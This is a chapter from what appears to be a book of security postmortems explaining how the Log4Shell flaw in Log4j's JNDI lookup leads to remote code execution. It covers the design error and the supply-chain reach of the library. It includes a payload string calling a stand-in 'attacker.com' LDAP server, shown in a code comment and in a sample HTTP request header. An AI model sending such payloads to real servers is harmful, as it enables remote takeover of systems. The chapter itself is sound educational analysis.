Skip to main content
postmortem

The Mechanism

3 min read Chapter 36 of 38

The Mechanism

The vulnerability exists in Log4j’s message formatting pipeline. When a log message is constructed, Log4j’s MessagePatternConverter checks for ${...} patterns and resolves them through the StrSubstitutor and Interpolator classes. The JNDI lookup is one of many lookup types registered with the Interpolator.

// RECONSTRUCTED FROM LOG4J 2.x SOURCE CODE (pre-patch)
// Simplified to show the vulnerability path

// When application code logs a message:
logger.info("User login attempt from: " + userAgent);

// If userAgent contains "${jndi:ldap://attacker.com/exploit}"
// Log4j's message formatter encounters the ${...} pattern
// and resolves it through the lookup mechanism:

public class JndiLookup extends AbstractLookup {
    
    @Override
    public String lookup(LogEvent event, String key) {
        // key = "ldap://attacker.com/exploit"
        
        // FAILURE POINT: Log4j connects to the attacker's LDAP server
        // and retrieves whatever object is at the specified path.
        // The LDAP response can include a Java class reference
        // that the JVM will download and instantiate.
        JndiManager jndiManager = JndiManager.getDefaultManager();
        return Objects.toString(
            jndiManager.lookup(key),  // Connects to attacker's server
            null
        );
    }
}

The exploit requires only that the attacker’s string appears in any log message. The most common vector is HTTP headers:

GET / HTTP/1.1
Host: target.example.com
User-Agent: ${jndi:ldap://attacker.com/exploit}

The web server logs the User-Agent header. Log4j formats the log message. The JNDI lookup is triggered. The server connects to attacker.com, retrieves a Java class reference, downloads the class, and executes it. The attacker now has remote code execution on the server.

The attack works because of a fundamental design error: treating log message content as executable expressions. Log messages should be inert data. They are strings being written for human or machine consumption. There is no legitimate reason for a logging library to evaluate expressions in log message content that result in network connections to external servers. The JNDI lookup in log messages is a feature that violates the principle of least privilege: a logging library should not have the authority to make arbitrary network connections and load remote code.

The feature existed for eight years before the vulnerability was publicly exploited. It was added in 2013. It was reported in 2021. During those eight years, every Java application using Log4j 2.x was vulnerable to remote code execution through any log message that contained user-controlled data.

The pervasiveness is a function of Log4j’s position in the dependency graph. Log4j is not just a direct dependency. It is a transitive dependency of:

  • Apache Struts, Spring Framework, Apache Solr, Apache Druid
  • Elasticsearch, Apache Kafka, Apache Flink
  • VMware vCenter, Cisco products, Amazon Web Services tools
  • Minecraft (the Java Edition server)
  • Hundreds of commercial and open source applications

An organization attempting to determine whether it is vulnerable must audit every application, every library included in every application, every container image, and every appliance on its network. The question “do we use Log4j 2.x?” is not answerable by checking a single dependency file. It requires recursive scanning of every deployed artifact.

The patching process revealed the supply chain depth problem. An organization that patches its own applications is still vulnerable if any of its deployed appliances, third-party services, or infrastructure components contain an unpatched Log4j. The Equifax breach of 2017 was caused by a vulnerable version of Apache Struts in a single web application. Log4Shell was the same class of problem at a thousand times the scale.